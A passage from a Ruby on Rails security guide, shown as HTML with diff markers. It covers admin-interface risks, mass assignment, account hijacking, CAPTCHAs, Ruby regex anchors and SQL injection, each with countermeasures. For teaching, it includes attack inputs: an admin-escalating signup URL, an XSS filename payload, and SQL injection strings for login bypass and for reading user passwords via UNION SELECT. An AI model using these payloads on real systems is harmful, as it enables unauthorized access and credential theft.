- <div class="para"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
744
- </div>
745
- <h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
746
- <div class="sectionbody">
747
- <div class="para"><p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
748
- <div class="para"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
749
- <div class="para"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
750
- <div class="para"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p></div>
751
- <div class="para"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
752
- <div class="para"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
753
- <div class="para"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.</p></div>
754
- <div class="para"><p>Another example changed Google Adsense's e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
755
- <div class="para"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
756
- <div class="para"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
757
- <h3 id="_additional_precautions">5.1. Additional precautions</h3>
758
- <div class="para"><p>The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
759
- <div class="ilist"><ul>
760
- <li>
761
- <p>
762
- It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
763
- </p>
764
- </li>
765
- <li>
766
- <p>
767
- Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
768
- </p>
769
- </li>
770
- <li>
771
- <p>
772
- <span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
773
- </p>
774
- </li>
775
- </ul></div>
776
- </div>
777
- <h2 id="_mass_assignment">6. Mass assignment</h2>
778
- <div class="sectionbody">
779
- <div class="para"><p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.</em></p></div>
780
- <div class="para"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:</p></div>
781
- <div class="listingblock">
782
- <div class="content"><!-- Generator: GNU source-highlight 2.9
783
- by Lorenzo Bettini
784
- http://www.lorenzobettini.it
785
- http://www.gnu.org/software/src-highlite -->
786
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
787
- params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
788
- <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
789
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
790
- </tt></pre></div></div>
791
- <div class="para"><p>Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
792
- <div class="literalblock">
793
- <div class="content">
794
- <pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
795
- </div></div>
796
- <div class="para"><p>This will set the following parameters in the controller:</p></div>
797
- <div class="listingblock">
798
- <div class="content"><!-- Generator: GNU source-highlight 2.9
799
- by Lorenzo Bettini
800
- http://www.lorenzobettini.it
801
- http://www.gnu.org/software/src-highlite -->
802
- <pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
803
- </tt></pre></div></div>
804
- <div class="para"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
805
- <h3 id="_countermeasures">6.1. Countermeasures</h3>
806
- <div class="para"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
807
- <div class="listingblock">
808
- <div class="content"><!-- Generator: GNU source-highlight 2.9
809
- by Lorenzo Bettini
810
- http://www.lorenzobettini.it
811
- http://www.gnu.org/software/src-highlite -->
812
- <pre><tt>attr_protected <span style="color: #990000">:</span>admin
813
- </tt></pre></div></div>
814
- <div class="para"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
815
- <div class="listingblock">
816
- <div class="content"><!-- Generator: GNU source-highlight 2.9
817
- by Lorenzo Bettini
818
- http://www.lorenzobettini.it
819
- http://www.gnu.org/software/src-highlite -->
820
- <pre><tt>attr_accessible <span style="color: #990000">:</span>name
821
- </tt></pre></div></div>
822
- <div class="para"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
823
- <div class="listingblock">
824
- <div class="content"><!-- Generator: GNU source-highlight 2.9
825
- by Lorenzo Bettini
826
- http://www.lorenzobettini.it
827
- http://www.gnu.org/software/src-highlite -->
828
- <pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; "ow3ned", :admin =&gt; true}</span></span>
829
- <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
830
- <span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
831
- <span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
832
- <span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span>
833
- </tt></pre></div></div>
834
- </div>
835
- <h2 id="_user_management">7. User management</h2>
836
- <div class="sectionbody">
837
- <div class="para"><p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
838
- <div class="para"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
839
- <div class="para"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
840
- <div class="literalblock">
841
- <div class="content">
842
- <pre><tt>http://localhost:3006/user/activate
843
- http://localhost:3006/user/activate?id=</tt></pre>
844
- </div></div>
845
- <div class="para"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
846
- <div class="listingblock">
847
- <div class="content"><!-- Generator: GNU source-highlight 2.9
848
- by Lorenzo Bettini
849
- http://www.lorenzobettini.it
850
- http://www.gnu.org/software/src-highlite -->
851
- <pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
852
- </tt></pre></div></div>
853
- <div class="para"><p>If the parameter was nil, the resulting SQL query will be</p></div>
854
- <div class="literalblock">
855
- <div class="content">
856
- <pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
857
- </div></div>
858
- <div class="para"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
859
- <h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
860
- <div class="para"><p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
861
- <div class="para"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
862
- <div class="para"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
863
- <div class="para"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
864
- <div class="para"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
865
- <h3 id="_account_hijacking">7.2. Account hijacking</h3>
866
- <div class="para"><p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
867
- <h4 id="_passwords">7.2.1. Passwords</h4>
868
- <div class="para"><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
869
- <h4 id="_e_mail">7.2.2. E-Mail</h4>
870
- <div class="para"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
871
- <h4 id="_other">7.2.3. Other</h4>
872
- <div class="para"><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
873
- <h3 id="_captchas">7.3. CAPTCHAs</h3>
874
- <div class="para"><p>&#8212; <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
875
- <div class="para"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
876
- <div class="para"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
877
- The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
878
- <div class="para"><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
879
- <div class="para"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
880
- <div class="ilist"><ul>
881
- <li>
882
- <p>
883
- position the fields off of the visible area of the page
884
- </p>
885
- </li>
886
- <li>
887
- <p>
888
- make the elements very small or colour them the same as the background of the page
889
- </p>
890
- </li>
891
- <li>
892
- <p>
893
- leave the fields displayed, but tell humans to leave them blank
894
- </p>
895
- </li>
896
- </ul></div>
897
- <div class="para"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
898
- <div class="para"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
899
- <div class="ilist"><ul>
900
- <li>
901
- <p>
902
- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
903
- </p>
904
- </li>
905
- <li>
906
- <p>
907
- Randomize the field names
908
- </p>
909
- </li>
910
- <li>
911
- <p>
912
- Include more than one honeypot field of all types, including submission buttons
913
- </p>
914
- </li>
915
- </ul></div>
916
- <div class="para"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
917
- <h3 id="_logging">7.4. Logging</h3>
918
- <div class="para"><p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p></div>
919
- <div class="para"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
920
- <div class="listingblock">
921
- <div class="content"><!-- Generator: GNU source-highlight 2.9
922
- by Lorenzo Bettini
923
- http://www.lorenzobettini.it
924
- http://www.gnu.org/software/src-highlite -->
925
- <pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password
926
- </tt></pre></div></div>
927
- <h3 id="_good_passwords">7.5. Good passwords</h3>
928
- <div class="para"><p>&#8212; <em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
929
- <div class="para"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
930
- <div class="para"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
931
- <div class="para"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
932
- <div class="para"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
933
- <h3 id="_regular_expressions">7.6. Regular expressions</h3>
934
- <div class="para"><p>&#8212; <em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div>
935
- <div class="para"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
936
- <div class="listingblock">
937
- <div class="content"><!-- Generator: GNU source-highlight 2.9
938
- by Lorenzo Bettini
939
- http://www.lorenzobettini.it
940
- http://www.gnu.org/software/src-highlite -->
941
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
942
- validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
943
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
944
- </tt></pre></div></div>
945
- <div class="para"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
946
- <div class="literalblock">
947
- <div class="content">
948
- <pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
949
- </div></div>
950
- <div class="para"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
951
- <div class="listingblock">
952
- <div class="content"><!-- Generator: GNU source-highlight 2.9
953
- by Lorenzo Bettini
954
- http://www.lorenzobettini.it
955
- http://www.gnu.org/software/src-highlite -->
956
- <pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
957
- <span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span>
958
- </tt></pre></div></div>
959
- <h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
960
- <div class="para"><p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
961
- <div class="para"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
962
- <div class="listingblock">
963
- <div class="content"><!-- Generator: GNU source-highlight 2.9
964
- by Lorenzo Bettini
965
- http://www.lorenzobettini.it
966
- http://www.gnu.org/software/src-highlite -->
967
- <pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
968
- </tt></pre></div></div>
969
- <div class="para"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user's access rights, too</span>:</p></div>
970
- <div class="listingblock">
971
- <div class="content"><!-- Generator: GNU source-highlight 2.9
972
- by Lorenzo Bettini
973
- http://www.lorenzobettini.it
974
- http://www.gnu.org/software/src-highlite -->
975
- <pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
976
- </tt></pre></div></div>
977
- <div class="para"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
978
- <div class="para"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
979
- </div>
980
- <h2 id="_injection">8. Injection</h2>
981
- <div class="sectionbody">
982
- <div class="para"><p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
983
- <div class="para"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
984
- <h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
985
- <div class="para"><p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
986
- <div class="para"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
987
- <div class="ilist"><ul>
988
- <li>
989
- <p>
990
- Use before_filter :only &#8658; [&#8230;] instead of :except &#8658; [&#8230;]. This way you don't forget to turn it off for newly added actions.
991
- </p>
992
- </li>
993
- <li>
994
- <p>
995
- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
996
- </p>
997
- </li>
998
- <li>
999
- <p>
1000
- Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
1001
- </p>
1002
- </li>
1003
- <li>
1004
- <p>
1005
- Don't try to correct user input by blacklists:
1006
- </p>
1007
- <div class="ilist"><ul>
1008
- <li>
1009
- <p>
1010
- This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
1011
- </p>
1012
- </li>
1013
- <li>
1014
- <p>
1015
- But reject malformed input
1016
- </p>
1017
- </li>
1018
- </ul></div>
1019
- </li>
1020
- </ul></div>
1021
- <div class="para"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
1022
- <h3 id="_sql_injection">8.2. SQL Injection</h3>
1023
- <div class="para"><p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
1024
- <h4 id="_introduction_2">8.2.1. Introduction</h4>
1025
- <div class="para"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
1026
- <div class="listingblock">
1027
- <div class="content"><!-- Generator: GNU source-highlight 2.9
1028
- by Lorenzo Bettini
1029
- http://www.lorenzobettini.it
1030
- http://www.gnu.org/software/src-highlite -->
1031
- <pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
1032
- </tt></pre></div></div>
1033
- <div class="para"><p>This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
1034
- <div class="literalblock">
1035
- <div class="content">
1036
- <pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
1037
- </div></div>
1038
- <div class="para"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
1039
- <h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
1040
- <div class="para"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
1041
- <div class="listingblock">
1042
- <div class="content"><!-- Generator: GNU source-highlight 2.9
1043
- by Lorenzo Bettini
1044
- http://www.lorenzobettini.it
1045
- http://www.gnu.org/software/src-highlite -->
1046
- <pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span>
1047
- </tt></pre></div></div>
1048
- <div class="para"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and </em> OR <em>2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
1049
- <div class="literalblock">
1050
- <div class="content">
1051
- <pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
1052
- </div></div>
1053
- <div class="para"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
1054
- <h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
1055
- <div class="para"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p></div>
1056
- <div class="listingblock">
1057
- <div class="content"><!-- Generator: GNU source-highlight 2.9
1058
- by Lorenzo Bettini
1059
- http://www.lorenzobettini.it
1060
- http://www.gnu.org/software/src-highlite -->
1061
- <pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
1062
- </tt></pre></div></div>
1063
- <div class="para"><p>And now let's inject another query using the UNION statement:</p></div>
1064
- <div class="literalblock">
1065
- <div class="content">
1066
- <pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
1067
- </div></div>
1068
- <div class="para"><p>This will result in the following SQL query:</p></div>
1069
- <div class="literalblock">
1070
- <div class="content">
1071
- <pre><tt>SELECT * FROM projects WHERE (name = '') UNION
1072
- SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
1073
- </div></div>
1074
- <div class="para"><p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
1075
- <div class="para"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
1076
- <h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
1077
- <div class="para"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions &#8658; "&#8230;"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
1078
